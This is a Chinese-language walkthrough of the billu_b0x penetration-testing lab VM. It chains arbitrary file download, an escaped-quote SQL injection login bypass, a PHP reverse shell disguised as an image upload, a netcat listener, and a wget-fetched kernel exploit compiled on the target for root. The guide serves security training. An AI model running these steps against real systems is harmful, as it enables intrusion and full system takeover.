billu_b0x 靶机渗透测试
目标:获得靶机root权限
下载地址:靶机4 https://box.nju.edu.cn/f/33258dfa28ee406e9769/?dl=1 ,使用于virtual box
基础工作
确定靶机ip,并扫描端口,确定服务版本
a) sudo arp-scan -l,靶机ip为10.0.2.5
b) nmap -p- 10.0.2.5,端口为22,80
c) nmap -p 22,80 -sV 10.0.2.5

突破登录限制
访问10.0.2.5,发现需要输入账号和密码,直接用burp suite攻击很难,需要很好的字典。
dirsearch -u http://10.0.2.5对靶机web服务目录枚举,选择test.php

- Dirsearch 是一款基于 Python 开发的命令行工具,主要用于在 Web 安全测试中,通过暴力扫描的方式,发现网站服务器上的隐藏目录和文件
- 针对靶机web服务,一个常见思路是目录枚举,此类工具有必要多准备几个,因为每个自带的字典不同,攻击效果有差异。
- 访问
http://10.0.2.5/test.php,显示'file' parameter is empty. Please provide file path in 'file' parameter,输入http://10.0.2.5/test.php?file=/etc/passwd提供参数,但还是这样显示。 - 使用burp suite拦截请求,右键选择
change request method,由get变为post请求,然后点击send,成功了,获得了passwd文件。此时可以确定网站存在漏洞,但不知道类型。常见的两种分别为文件包含漏洞,可以执行test.php;任意文件下载漏洞,只能看不能执行。



4. 改为file=add.php,根据结果确定存在任意文件下载漏洞:收到的是<?php echo '<form method="post" enctype="multipart/form-data">...'; ?>,如果这是执行漏洞,应该收到<form method="post" enctype="multipart/form-data">...

5. 改为file=index.php ,发送,成功显示出来。其中index.php是 PHP网站的默认入口文件,相当于网站的主页面或"首页",在里面发现了登录验证时的逻辑:
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';

- 分析发现登录逻辑为
select *from auth where pass='$pass' and uname = '$uname',而’or 1=1#失败的原因在于网站对单引号做了处理,利用转义符\,passwd写\,username写or 1=1,成功登录。

建立反弹shell
-
发现网页add user可以上传图片文件,利用它突破
-
cp /usr/share/webshells/php/php-reverse-shell.php .把kali自带的脚本拷贝到当前文件夹,此脚本运行后会直接建立反弹shell -
直接上传,失败,显示必须上传图片

-
将
php-reverse-shell.php重命名为bb.png,上传,仍失败,说明网页对文件内容进行了检查 -
使用burp suite拦截,修改请求:文件类型改为
png、content-type改为image,在文件开头加入魔数GIF89a;表示这是一个png文件,攻击机ip改为自己的,端口可以不动(默认是1234),然后点sent,查看响应内容:uploaded successful。


-
此时网页上多了一个创建的用户,右键图片,复制路径并打开,说明上传成功,此时只需要执行该文件

-
打开burpsuite,拦截show user的continue,来分析可能漏洞。请求体是
load=show&continue=continue, 前面探测内容里面有show,怀疑它是一个php脚本。那么在load后面或许可以改为想要执行的文件。 -
nc -nvlp 1234,打开监听端口 -
在burp suite的repeater界面改为
load=/uploaded_images/bb.png,点击send,此时response没有反应,成功建立reverse shell

-
运行
whoami,显示www-data,需要提权
提权
- reverse shell运行
uname -a,发现内核为Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu - 在本机运行
searchsploit Linux 3.13,searchsploit -m linux/local/37292.c,寻找合适的提权文件并下载 python -m http.server 8000,启动一个简单的本地 HTTP 服务器- 在反弹shell上下载、编译、运行:
wget http://10.0.2.3:8000/37292.c,gcc 37292.c,./a.out - 成功获得root权限
拓展:靶机上没有编译器的处理方法
以C语言提权文件为例,如果靶机上没有gcc怎么办?思路是在攻击机上根据靶机版本,静态编译文件(避免依赖),再把文件发送到靶机上运行。用uname -a查看后发现该靶机是32位系统。
sudo apt install gcc-multilib libc6-dev-i386为Kali添加原本缺少的编译32位程序需要安装对应的32位库文件gcc -static -m32 1.c -o escalation32静态编译,选择32位机器。其中这里的1.c是前面利用文件的拷贝。python -m http.server 8000- 先切换到
/tmp文件夹,wget http://10.0.2.3:8000/escalation32,靶机上下载 chmod u+x escalation32添加执行权限./escalation32运行- 成功获得root权限!



